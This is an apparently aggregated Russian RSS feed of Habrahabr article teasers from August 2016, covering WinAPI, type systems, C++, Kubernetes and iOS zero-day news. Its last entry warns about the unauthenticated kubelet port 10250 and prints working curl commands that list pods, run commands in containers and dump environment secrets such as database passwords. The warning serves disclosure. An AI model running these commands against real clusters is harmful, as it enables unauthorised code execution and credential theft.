RSS
Pages: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 133
[>] Неожиданное поведение WinAPI-функции IsWow64Process()
habra.16
habrabot(difrex,1) — All
2016-08-25 13:00:04


Эта заметка пишется для тех, кто когда-нибудь будет гуглить название WinAPI-функции [IsWow64Process()][1] в попытках понять, почему же она иногда работает не так, как это описано в MSDN. Вполне возможно, что это буду я сам через год-другой. Но, возможно, пригодиться и кому-то ещё.

Итак, о чём же идёт речь? Операционная система Windows, как известно, бывает 32-битной или 64-битной. На 32-битной Windows можно запустить только 32-битные приложения — а значит вопрос «это 32-битное приложение или 64-битное?» там попросту не имеет смысла, ответ известен заранее. Жизнь на 64-битном варианте Windows немного веселее — здесь можно запускать как 64-битные приложения (они считаются нативными), так и 32-битные, которые не являются родными для ОС, и выполняются они в специальной подсистеме WoW64 [(Windows-on-Windows 64-bit)][2]. Подсистема эта включает в себя средства запуска 32-битного кода, отдельные ветки реестра и системные папки для работы 32-битных приложений в 64-битной среде.

Иногда бывает важно знать, является ли некоторый процесс, работающий в 64-битной Windows, действительно нативным 64-битным процессом, или WoW64-процессом (то есть 32-битным приложением, работающим в WoW64-подсистеме). Для этих целей Microsoft предлагает использовать функцию [IsWow64Process()][3]. Описание в MSDN достаточно детально, есть пара предупреждений на счёт способа её вызова, но в общём-то всё тривиально. Пример кода даже есть. Беда только в том, что в некоторых случаях эта функция врёт и определяет архитектуру процесса неверно.
[Читать дальше →][4]

[1]: https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms684139(v=vs.85).aspx
[2]: https://ru.wikipedia.org/wiki/WOW64
[3]: https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms684139(v=vs.85).aspx
[4]: https://habrahabr.ru/post/308490/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] Статическая и динамическая типизация
habra.16
habrabot(difrex,1) — All
2016-08-25 13:30:04


_Эта статья рассказывает о разнице между статически типизированными и динамически типизированными языками, рассматривает понятия "сильной" и "слабой" типизации, и сравнивает мощность систем типизации в разных языках. В последнее время наблюдается четкое движение в сторону более строгих и мощных систем типизации в программировании, поэтому важно понимать о чем идет речь когда говорят о типах и типизации._



![][1]



Тип — это коллекция возможных значений. Целое число может обладать значениями 0, 1, 2, 3 и так далее. Булево может быть истиной или ложью. Можно придумать свой тип, например, тип "ДайПять", в котором возможны значения "дай" и "5", и больше ничего. Это не строка и не число, это новый, отдельный тип.



Статически типизированные языки ограничивают типы переменных: язык программирования может знать, например, что x — это Integer. В этом случае программисту запрещается делать `x = true`, это будет некорректный код. Компилятор откажется компилировать его, так что мы не сможем даже запустить такой код. Другой статически типизированный язык может обладать другими выразительными возможностями, и никакая из популярных систем типов не способна выразить наш тип ДайПять (но многие могут выразить другие, более изощренные идеи).



Динамически типизированные языки помечают значения типами: язык знает, что 1 это integer, 2 это integer, но он не может знать, что переменная x всегда содержит integer.



Среда выполнения языка проверяет эти метки в разные моменты времени. Если мы попробуем сложить два значения, то она может проверить, являются ли они числами, строками или массивами. Потом она сложит эти значения, склеит их или выдаст ошибку, в зависимости от типа.

[Читать дальше →][2]

[1]: https://habrastorage.org/files/f98/46c/348/f9846c3487a842158cd79db0608ab71c.jpg
[2]: https://habrahabr.ru/post/308484/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Из опыта использования SObjectizer: акторы в виде конечных автоматов – это плохо или хорошо?
habra.16
habrabot(difrex,1) — All
2016-08-25 13:30:04


[Познакомив читателей с фреймворком SObjectizer][1], его возможностями и особенностями, можно перейти к рассказу о некоторых уроках, которые нам довелось усвоить за более чем четырнадцать лет использования SObjectizer-а в разработке C++ного софта. Сегодня поговорим о том, когда агенты в виде конечных автоматов не являются хорошим выбором, а когда являются. О том, что возможность создания большого количества агентов – это не столько решение, сколько сама по себе проблема. И о том, как первое соотносится со вторым...


[Читать дальше →][2]

[1]: https://habrahabr.ru/post/304386/
[2]: https://habrahabr.ru/post/308486/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Из песочницы] Как узнать какие цветы дарить девушке, если у нее двигается только голова и она не может говорить?
habra.16
habrabot(difrex,1) — All
2016-08-25 16:00:04


Всем привет! Я Иван Бакаидов. И сейчас я расскажу как я помогаю людям с двигательными нарушениями и нарушениями речи. Но сначала немного обо мне:

* Мне 17 лет
* ДЦП — у меня самопроизвольно сокращаются мышцы тела… Все
* Неразборчивая речь. Понимают только мама, брат и одноклассница
* Node.js, Java, Android dev, Unity3d
* [Выступал][1] на гуманитарном саммите ООН с посланием о правах человека с нарушениями речи и важности AAC
![image][2]
[Читать дальше →][3]

[1]: https://www.youtube.com/watch?v=y0WnDypp4qo
[2]: https://pp.vk.me/c633321/v633321065/2a587/sqrGtEqO1hE.jpg
[3]: https://habrahabr.ru/post/308514/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Использование триграмм для коррекции результатов распознавания
habra.16
habrabot(difrex,1) — All
2016-08-25 16:30:04



_На рисунке выше изображены 8 возможных триграмм (N-граммы с N=3), приписываемое Вэнь-вану (Квадратно-круговое расположение взято из книги [1]_




Естественные языки могут быть охарактеризованы распределением частот встречаемости своих элементов, таких как слова, отдельные буквы или последовательности букв (_N_-граммы). Формально _N_-граммой называется строка из _N_ символов, принадлежащих некоторому алфавиту, состоящему из конечного числа символов. О теоретических и прикладных вопросах применения аппарата _N_-грамм для автоматической коррекции текста можно прочесть в работе [2].




В данной статье мы будем рассматривать только алфавит, состоящий из букв русского языка, далее мы расскажем о возможностях применения триграмм (последовательностей из трех символов) для постобработки (коррекции с целью уменьшения ошибок) результатов распознавания русскоязычных документов. В качестве механизма распознавания выступали сверточные нейронные сети.


[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308488/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Проверяем исходный код MSBuild с помощью PVS-Studio
habra.16
habrabot(difrex,1) — All
2016-08-25 16:30:04


![][1]



Работая над развитием статического анализатора исходного кода PVS-Studio, мы часто сталкиваемся с необходимостью проверки на наличие ошибок больших открытых проектов от именитых разработчиков. Тот факт, что даже в таких проектах удается найти ошибки, делает нашу работу гораздо более осмысленной. К сожалению, все допускают ошибки. Как бы грамотно ни была выстроена система контроля качества выпускаемого программного кода, нет абсолютно никакой возможности избежать особенностей «человеческого фактора». До тех пор, пока разработкой программ занимаются люди, актуальность использования инструментов для поиска ошибок в коде, таких как PVS-Studio, не уменьшится. Сегодня мы будем искать ошибки в исходном коде MSBuild, который, увы, тоже не идеален.
[Читать дальше →][2]

[1]: https://habrastorage.org/files/0da/42d/73e/0da42d73ea184f6e93e57f998e0daf60.png
[2]: https://habrahabr.ru/post/308520/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Все под контролем: защищаем корпоративные разговоры. Часть 3: защищенная SIM-карта
habra.16
habrabot(difrex,1) — All
2016-08-25 17:00:03


В ходе обсуждения предыдущих двух частей описания проекта [Tottoli GSM][1] "Все под контролем: защищаем корпоративные разговоры" ([Часть 1][2], [Часть 2][3]) стало ясно, что отдельного описания требует технология использования и реализации MULTI SIM. В этой статье мы подробно расскажем именно о технологии MULTI SIM.


![][4]


Все привыкли воспринимать SIM-карту как некий безусловный элемент аутентификации абонента в сети. В рамках платформы Tottoli GSM модуль MULTI SIM является неотъемлемой частью системы и выполняет необходимые функции, предъявляемые проектом. Так как SIM-карта является элементом сети, рассматривать её функциональность вне системы невозможно. Более наглядным будет рассмотрение функционала модуля относительно конкретных сценариев.



# Сначала о самой MULTI SIM:



• Размер памяти: 256 Кб
• Поддержка на уровне аппаратного обеспечения карты алгоритма MILENAGE и ниже COMP128v1-v3.
• Поддержка javacard 2.2
• Загрузка апплетов с помощью APDU, а также с поддержкой загрузки GSM 03.48



Поддержка функций с целью реализации MULTI SIM функционала: изменения "файлов" (EF GSM 11.11) в (u)SIM-карте c целью смены профилей мобильного оператора: IMSI, KI, HPLMN, PLMN, FPLMN.
Также на SIM-картах предустановлены разработанные нами апплеты и базовый профиль (IMSI/KI и др. параметры, необходимые для регистрации в сети) одного из доступных нам операторов. Под «доступностью оператора» в данном контексте подразумевается опорный договор с этим оператором и имплементация пула профилей в нашу HLR.

[Читать дальше →][5]

[1]: http://tottoli-gsm.com/ru/
[2]: https://habrahabr.ru/company/tottoli_gsm/blog/305586/
[3]: https://habrahabr.ru/company/tottoli_gsm/blog/306370/
[4]: https://habrastorage.org/files/90d/ce0/848/90dce08482724cedb9b3d0d41b17738a.jpg
[5]: https://habrahabr.ru/post/308432/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Мгновенный запуск почти любой OS под Linux используя libvirt + qemu
habra.16
habrabot(difrex,1) — All
2016-08-25 17:00:03


По ходу работы над [CoreOS][1] и [Kubernetes][2] мне приходилось часто воспроизводить окружения пользователей, чтобы помочь им решить проблему. Согласитесь, что при запуске OS при помощи контейнера, не всегда можно добиться полного функционала OS, т.к. часто приходилось решать вопросы, связанные с systemd.



Так и родилась идея написать костыли, которые с легкостью помогут мне поднять кластер из почти любой оперционной системы, эдакий [OpenStack][3] в миниатюре. В настоящий момент в качестве гостевых полностью поддерживаются следующие OS:


* Ubuntu
* Debian
* CentOS 6/7 + atomic
* Fedora + atomic
* CoreOS

Частично:


* FreeBSD (требуется [ручная настройка][4] сети и ssh ключей)
* openSUSE (требуется ручная настройка сети и ssh ключей)
* Windows (в консоль не попадёшь, но при помощи virt-manager можно пользоваться [графическим интерфейсом][5])

Публикации поспособствовал коллега, который случайно увидел, как я тестирую код. А теперь о преимуществах перед [Vagrant][6]. Первое преимущество — время. Например, три виртуальные машины создаются всего за **20-30 секунд**.


![image][7] [Читать дальше →][8]

[1]: https://habrahabr.ru/post/282964/
[2]: http://kubernetes.io
[3]: https://www.openstack.org/
[4]: https://github.com/kayrus/scripts#freebsd-guest-experimental
[5]: https://habrastorage.org/files/64c/9e3/6a7/64c9e36a77134745a2a1fac313f4fe09.png
[6]: https://www.vagrantup.com/
[7]: https://habrastorage.org/files/3b5/f87/b5a/3b5f87b5a818450a965cf716fc169fb2.png
[8]: https://habrahabr.ru/post/308480/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Что послушать программисту? Подборка подкастов на русском и англиском языках
habra.16
habrabot(difrex,1) — All
2016-08-25 18:00:04


Всем привет! В этой статье собраны одни из лучших подкастов по программированию как на русском так и на английском языках, которые позволят вам быть всегда в курсе последних новостей.
![][1]
Подкасты представляют собой звуковые файлы, которые можно слушать в любое время на вашем компьютере или другом устройстве (IPod, IPad, смартфон и т.д.). Это самый портативный способ потреблять контент и узнавать что-то новое. Популярность подкастов росла на протяжении многих лет и теперь они охватывают очень широкий круг вопросов.

И да, есть много интересных и популярных подкастов для разработчиков и программистов. Подкасты невероятно полезны, они будут держать вас в курсе всего что происходит в интересующей вас сфере, а также помогут вам развить более широкий взгляд на постоянно развивающуюся область информационных технологий.
[Читать дальше →][2]

[1]: https://habrastorage.org/files/872/e5c/848/872e5c84847b465a81b93b0fd2c84304.jpg
[2]: https://habrahabr.ru/post/308532/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Блокчейн и финтех-хакатон в Университете Иннополис
habra.16
habrabot(difrex,1) — All
2016-08-25 18:30:04


17—18 сентября на площадке ИТ-вуза пройдёт первый в России хакатон, посвященный созданию новых продуктов для финтех-индустрии с использованием современных ИТ-решений и болкчейн-технологий. В программе: искусственный интеллект в жюри, средства на развитие продукта, подарки и финтех-воршкоп с экспертами венчурного фонда Life.SREDA и банка Barclays. Участие бесплатное. За подробностями добро пожаловать под кат.

![image][1]
[Читать дальше →][2]

[1]: https://habrastorage.org/getpro/habr/post_images/7bf/4b8/592/7bf4b8592428e4d7563c5cee1c56fad0.png
[2]: https://habrahabr.ru/post/308482/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Из песочницы] Reverse engineering тестового crackme от Лаборатории Касперского
habra.16
habrabot(difrex,1) — All
2016-08-25 20:30:04


Приветствую сообщество! Давным давно, в 2013 году на Хабре был опубликован пост [«Reverse engineering на собеседовании: как мы нанимаем на работу»][1]. В нём был предложен тестовый crackme для претендентов на позицию вирусного аналитика. Убедившись, что полного разбора тестового файла в интернете нет, я решил написать свой разбор. И так, приступим. Crackme 64-разрядный. Запустим его в IDA Pro.

![image][2]
[Читать дальше →][3]

[1]: https://habrahabr.ru/company/kaspersky/blog/203228/
[2]: https://habrastorage.org/getpro/habr/post_images/6c8/4e4/0ad/6c84e40adbfff2f290a9a5a799536a43.jpg
[3]: https://habrahabr.ru/post/308548/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Что послушать программисту? Подборка подкастов на русском и английском языках
habra.16
habrabot(difrex,1) — All
2016-08-25 21:00:03


Всем привет! В этой статье собраны одни из лучших подкастов по программированию как на русском так и на английском языках, которые позволят вам быть всегда в курсе последних новостей.
![][1]
Подкасты представляют собой звуковые файлы, которые можно слушать в любое время на вашем компьютере или другом устройстве (IPod, IPad, смартфон и т.д.). Это самый портативный способ потреблять контент и узнавать что-то новое. Популярность подкастов росла на протяжении многих лет и теперь они охватывают очень широкий круг вопросов.

И да, есть много интересных и популярных подкастов для разработчиков и программистов. Подкасты невероятно полезны, они будут держать вас в курсе всего что происходит в интересующей вас сфере, а также помогут вам развить более широкий взгляд на постоянно развивающуюся область информационных технологий.
[Читать дальше →][2]

[1]: https://habrastorage.org/files/872/e5c/848/872e5c84847b465a81b93b0fd2c84304.jpg
[2]: https://habrahabr.ru/post/308532/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Apple выпустила экстренное обновление для iOS
habra.16
habrabot(difrex,1) — All
2016-08-26 02:00:04


![][1] Apple [выпустила][2] экстренное обновление для iOS (iOS 9.3.5), исправив три критические 0day уязвимости с идентификаторами CVE-2016-4655, CVE-2016-4656, CVE-2016-4657. Особенность этих уязвимостей заключается в том, что они используются атакующими в направленных атаках для удаленного получения доступа к устройству с максимальными правами. Сам по себе случай использования трех 0day уязвимостей для iOS является действительно беспрецедентным. Кибератака была [обнаружена][3] специалистами двух компаний: Lookout и Citizen Lab. Связка трех эксплойтов получила название Trident, а вредоносная программа, устанавливаемая с помощью них Pegasus. Подобная связка гарантирует компрометацию устройства с iOS ниже версии 9.3.5 вне зависимости от того установлен на нем jailbreak или нет. Одна из уязвимостей позволяет отключать проверку легитимности запускаемого в iOS кода и выполнять удаленный jailbreak.

[Читать дальше →][4]

[1]: https://habrastorage.org/files/b33/c87/466/b33c87466fc14b8a8432343c7159f81a.jpeg
[2]: https://support.apple.com/ru-ru/HT207107
[3]: https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
[4]: https://habrahabr.ru/post/308558/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] iOS 9.3.5: исправления безопасности и неудачная атака против правозащитника из Арабских эмиратов
habra.16
habrabot(difrex,1) — All
2016-08-26 03:30:30


[Как сообщает Citizen Lab][1], её сотрудникам совместно с Lookout Security удалось исследовать попытку установления слежки за правозащитником из Арабских эмиратов Ахмедом Мансуром, для которой были использованы две уязвимости в ядре iOS и одна в WebKit. 10-11 августа он получил SMS-сообщение, в котором предлагалось перейти по ссылке, чтобы получить информацию о пленниках, пытаемых в тюрмах ОАЭ. Вместо этого, заподозрив неладное, Ахмед обратился к специалистам по информационной безопасности.

[Читать дальше →][2]

[1]: https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
[2]: https://habrahabr.ru/post/308560/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Reverse engineering тестового crackme от Лаборатории Касперского v2.0
habra.16
habrabot(difrex,1) — All
2016-08-26 09:00:04


В продолжение моего предыдущего разбора [«Reverse engineering тестового crackme от Лаборатории Касперского»][1]. Нашел на просторах интернета [ещё один вариант][2] crackme от Лаборатории Касперского. Автор применил брутфорс для его решения. Этот грубый «крякерский» метод нам тут не подойдёт. Нас интересует разбор алгоритма проверки лицензионного ключа. Можно, конечно, сделать огромную выборку правильных ключей и попробовать найти закономерность, но мне кажется, что лучше немного пореверсить. И так начнем. Начало у crackme такое же, как и в предыдущей статье: ключ должен содержать 19 символов, каждый 5-ый символ должен быть "-" и все символы должны быть цифрами. Перейдем к интересному. Используем в качестве пробного ключа 1234-5678-9012-3456.

![image][3][Читать дальше →][4]

[1]: https://habrahabr.ru/post/308548/
[2]: https://kaimi.ru/2016/05/solving-easy-crackme-with-angr/
[3]: https://habrastorage.org/getpro/habr/post_images/86f/4a8/d1d/86f4a8d1d562972a5ec6d0fd845d177b.jpg
[4]: https://habrahabr.ru/post/308566/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Навигатор 2ГИС: Экстраполяция позиции автомобиля
habra.16
habrabot(difrex,1) — All
2016-08-26 12:00:03


![][1]

В приложении 2ГИС теперь есть навигатор. Мы научились «ехать» по треку, озвучивать манёвры, автоматически перестраивать маршрут, рассчитывать время в пути, доводить пользователя до входа в здание или организацию, учитывая заборы и шлагбаумы, — и всё это в честном офлайне. Пробки (вот разве что для них нужен интернет), разведённые мосты и перекрытые улицы учитываем давно. Пока в нашем навигаторе — необходимый минимум. Чуть позже научим его предупреждать о слишком высокой скорости, лежачих полицейских и камерах ГИБДД, настроим ночной режим, сделаем маршруты по платным и грунтовым дорогам опциональными. Чтобы воспользоваться им, нужно обновить 2ГИС в своем смартфоне или скачать в [AppStore][2] или [Windows Store][3]. Для Android обновление выходит постепенно, начиная с 22 августа (будет доступно на всю аудиторию к сентябрю).

А сегодня расскажем, как навигатор 2ГИС предугадывает положение автомобиля и плавно перемещает стрелочку по маршруту. Ведь именно качество ведения пользователя по маршруту определяет эргономику интерфейса любого современного навигатора, простоту ориентирования на местности и своевременность совершения манёвров.
[Читать дальше →][4]

[1]: https://habrastorage.org/files/bde/60a/52d/bde60a52daf44369bfa94ba4519b587a.png
[2]: https://itunes.apple.com/ru/app/id481627348
[3]: https://www.microsoft.com/ru-ru/store/p/2gis/9nblggh2rfsd?referrer=mat_click_id%3d886615118e9db1cfd6cbd97e63ab71e5-20160817-22254#
[4]: https://habrahabr.ru/post/308500/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Scala vs Kotlin (перевод)
habra.16
habrabot(difrex,1) — All
2016-08-26 13:30:05


_Наша команда, аналогично с автором статьи, уже почти как год перешла со Scala на Kotlin в качестве основного языка. Мое мнение во многом совпадает с автором, поэтому предлагаю вам перевод его интересной статьи._



Прошло прилично времени с того момента как я не обновлял блог. Вот уже как год я перешел со Scala, моего основного языка, на Kotlin. Язык позаимствовал много хороших вещей, которые мне нравились в Scala, сумев при этом избежать многих подводных камней и неоднозначности, которая есть в Scala.



Ниже я хочу привести примеры, которые мне нравятся в Scala и Kotlin, а также их сравнение в том, как они реализованы в обоих языках.

[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308562/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Пример использования policy-based design в С++ вместо копипасты и создания ООП-шых иерархий
habra.16
habrabot(difrex,1) — All
2016-08-26 14:00:04


Язык C++ очень часто обвиняют в неоправданной сложности. Конечно же, язык C++ сложен. И с каждым новым стандартом становится все сложнее. Парадокс, однако, состоит в том, что постоянно усложняясь, C++ последовательно и поступательно упрощает жизнь разработчикам. В том числе и обычным программистам, которые пишут код попроще, чем разработчики Boost-а или Folly. Чтобы не быть голословным, попробую показать это на небольшом примере «из недавнего»: как в результате адаптации к различным условиям тривиальный класс превратился в легкий хардкор с использованием [policy-based design][1].
[Много примеров кода][2]

[1]: https://en.wikipedia.org/wiki/Policy-based_design
[2]: https://habrahabr.ru/post/308594/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Docker Swarm+Consul+Gobetween в виде движка для гео распределенного кластера
habra.16
habrabot(difrex,1) — All
2016-08-26 14:00:04


## Преамбула



Некоторе время назад перед нами стала задача спроектировать и развернуть систему для потокового видео. Суть была в массовом запуске/остановке инстанций, на которых происходит обратная сборка потокового видео и стриминг на множество media cdn провайдеров (youtube, livestream, ustream итд ) а так же на собственные rtmp и ts точки назначения. Каждая инстанция требовала настройки перед запуском т.к. содержала специфическую для каждого клиента информацию. Так же было понятно что система должна работать в большом количестве регионов (как минимум во всех точках, где присутствует Амазон, а как максимум — в любом месте где можно арендовать сервер).
Также основное требование — запуск инстанции в течении 1-2 секунд максимум, чтобы это было прозрачно для пользователя.


[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308182/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] Как эмодзи могут улучшить ваш код (на самом деле)
habra.16
habrabot(difrex,1) — All
2016-08-26 15:30:03


_Примечание переводчика: в перерывах между холиварами про JS предлагаю обсудить несерьёзную, пятничную тему:_



![][1] Кто не любит эмодзи? Активно используя их в мессенджерах и почтовых приложениях, я решил проэкспериментировать с тем, как можно применить их с умом в повседневной разработке приложений. Хотя поначалу это была просто шутка, эмодзи действительно оказались полезными в ряде случаев. Как так?



Мы, программисты, читаем много текста — будь то код, логи, комментарии к коммитам, документация или что-либо еще. Эмодзи бросаются в глаза, и их гораздо легче найти на простыне текста, чем обычную строку. Быстрее поиск — выше продуктивность. Хотя даже если на вашей продуктивности это никак не скажется, пользоваться эмодзи — весело! Вот некоторые вещи, которые я опробовал на практике:

[Читать дальше →][2]

[1]: https://habrastorage.org/getpro/habr/post_images/53f/6bc/9b0/53f6bc9b069f54bce1b597ce17d5c02d.png
[2]: https://habrahabr.ru/post/308362/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Перевод] Синий. Нет! Жёлтый! — или — Дают ли новые языки программирования прирост скорости разработки
habra.16
habrabot(difrex,1) — All
2016-08-26 17:00:04


> Какой язык использовали для написания самых первых программ для самых первых компьютеров с хранимой программой?


Двоичный машинный язык, конечно.

> Почему?
Очевидно потому, что не было символьного ассемблера. Первые программы необходимо было писать двоичным кодом.

> Насколько легче писать программы на ассемблере, чем на двоичном машинном языке?
_Намного_ легче.

> Можно цифру? Во сколько раз легче?
Ну, блин, ассемблер делает всю тяжелейшую «рутинную» работу для вас. Т.е. он рассчитывает все физические адреса. Он составляет все физические машинные команды. Он обеспечивает невозможность выдачи физически нереализуемых команд, например, адресацию за пределы адресного пространства. И затем он создаёт легко загружаемый двоичный вывод.

Экономия объёмов работы _огромная_.
[Читать дальше →][1]

[1]: https://habrahabr.ru/post/308550/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Математика для искусственных нейронных сетей для новичков, часть 3 — градиентный спуск продолжение
habra.16
habrabot(difrex,1) — All
2016-08-26 17:30:05


[Часть 2 — градиентный спуск начало][1]

В предыдущей части я начал разбор алгоритма оптимизации под названием градиентный спуск. Предыдущая статья оборвалась на писании варианта алгоритма под названием пакетный градиентный спуск.

Существует и другая версия алгоритма — стохастический градиентный спуск. Стохастический = случайный.
[Читать дальше →][2]

[1]: https://habrahabr.ru/post/307312/
[2]: https://habrahabr.ru/post/308604/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] О Legacy-коде без максимализма: что делать
habra.16
habrabot(difrex,1) — All
2016-08-26 18:30:04


![][1]

Представьте, что вам дали задачу поправить часть кода. В голове возникнет много мыслей. Кто его написал? Когда? А может он — legacy? Где документация? Давайте попробуем разобраться с «наследием» основательно и со всех сторон. Поможет нам в этом вопросе Андрей Солнцев [@asolntsev][2] (), разработчик из таллинской компании Codeborne. Начнём.

**— Андрей, вы знакомы с трудами Michael Feathers, например, «Working Effectively with Legacy Code»? В книге акцентируется внимание на важности тестирования и выделяется одно из ключевых отличий legacy от не legacy-кода — это наличие тестов. Вы согласны с этим мнением? **

Абсолютно согласен! Скажу больше: юнит-тесты — необходимое, но недостаточное условие. И с юнит-тестами можно навалить так, что сам Геракл не разгребёт.
Что для настоящего джедая мастхав, так это:
1. TDD — то есть [тесты ДО кода][3].
2. Чистый код (и чистые тесты).


Я очень люблю книгу Robert C. Martin «Clean Code» («Чистый код»). Это для меня настольная библия. Категорически всем советую. Кстати, его [блог][4] тоже великолепен.

[Читать дальше →][5]

[1]: https://habrastorage.org/getpro/habr/post_images/fcb/8e7/96d/fcb8e796da2c45da2ead4512fdb0185e.png
[2]: https://habrahabr.ru/users/asolntsev/
[3]: https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5
[4]: http://blog.cleancoder.com/uncle-bob/2016/07/27/TheChurn.html
[5]: https://habrahabr.ru/post/308528/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] [Из песочницы] Алгоритм Левенберга — Марквардта для нелинейного метода наименьших квадратов и его реализация на Python
habra.16
habrabot(difrex,1) — All
2016-08-26 21:00:04


![][1]

Нахождение экстремума (минимума или максимума) [целевой функции][2] является важной задачей в математике и её приложениях (в частности, в машинном обучении есть задача [curve-fitting][3]). Наверняка каждый слышал о [методе наискорейшего спуска][4] (МНС) и [методе Ньютона][5] (МН). К сожалению, эти методы имеют ряд существенных недостатков, в частности — метод наискорейшего спуска может очень долго сходиться в конце оптимизации, а метод Ньютона требует вычисления вторых производных, для чего требуется очень много вычислений.

Для устранения недостатков, как это часто бывает, нужно глубже погрузиться в предметную область и добавить ограничения на входные данные. В частности: МНС и МН имеют дело с произвольными функциями. В статистике и машинном обучении часто приходится иметь дело с [методом наименьших квадратов][6](МНК). Этот метод минимизирует сумму квадрата ошибок, т.е. целевая функция представляется в виде:

![][7]
[Алгоритм Левенберга — Марквардта][8] используется для решения нелинейного метода наименьших квадратов. Статья содержит:

* объяснение алгоритма
* объяснение методов: наискорейшего спуска, Ньтона, Гаусса-Ньютона
* приведена реализация на Python с [исходниками на github][9]
* сравнение методов

[Читать дальше →][10]

[1]: https://habrastorage.org/files/666/37a/a4e/66637aa4ed89475897f02d77f49d201a
[2]: https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BB%D0%B5%D0%B2%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F
[3]: https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%B1%D0%BB%D0%B8%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BA%D1%80%D0%B8%D0%B2%D1%8B%D1%85
[4]: https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D1%8B%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B#.D0.9C.D0.B5.D1.82.D0.BE.D0.B4_.D0.BD.D0.B0.D0.B8.D1.81.D0.BA.D0.BE.D1.80.D0.B5.D0.B9.D1.88.D0.B5.D0.B3.D0.BE_.D1.81.D0.BF.D1.83.D1.81.D0.BA.D0.B0_.28.D0.BC.D0.B5.D1.82.D0.BE.D0.B4_.D0.B3.D1.80.D0.B0.D0.B4.D0.B8.D0.B5.D0.BD.D1.82.D0.B0.29
[5]: https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0
[6]: https://basegroup.ru/community/glossary/lsm
[7]: http://tex.s2cms.ru/svg/%0D%0A%5Cfrac%7B1%7D%7B2%7D%5Csum%20%5Climits_%7Bi%3D1%7D%5E%7BN%7D%28y_i%27-y_i%29%5E2%20%3D%20%5Cfrac%7B1%7D%7B2%7D%5Csum%20%5Climits_%7Bi%3D1%7D%5E%7BN%7Dr_i%5E2%20%5Ctag%7B1%7D%0D%0A
[8]: https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9B%D0%B5%D0%B2%D0%B5%D0%BD%D0%B1%D0%B5%D1%80%D0%B3%D0%B0_%E2%80%94_%D0%9C%D0%B0%D1%80%D0%BA%D0%B2%D0%B0%D1%80%D0%B4%D1%82%D0%B0
[9]: https://github.com/lightforever/Levenberg_Manquardt
[10]: https://habrahabr.ru/post/308626/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut

[>] Предостережение для пользователей Kubernetes
habra.16
habrabot(difrex,1) — All
2016-08-26 21:00:04


Сервис `kubelet`, с которым тесно общается `apiserver`, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.



Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:


*
*
*

Что с этим можно сделать? Правтически всё. Без регистрации и sms.



Получить список всех pod'ов:


$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Выполнить команду внутри контейнера? Запросто:


$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Получить пароль на базу данных? Проще простого:


$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Вытащить из неё данные тоже не составит труда.

[][1]

